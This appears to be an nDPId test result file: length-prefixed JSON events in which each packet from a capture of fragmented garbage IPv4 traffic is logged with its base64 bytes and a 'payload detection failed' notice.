+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826405,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826617,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826635,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 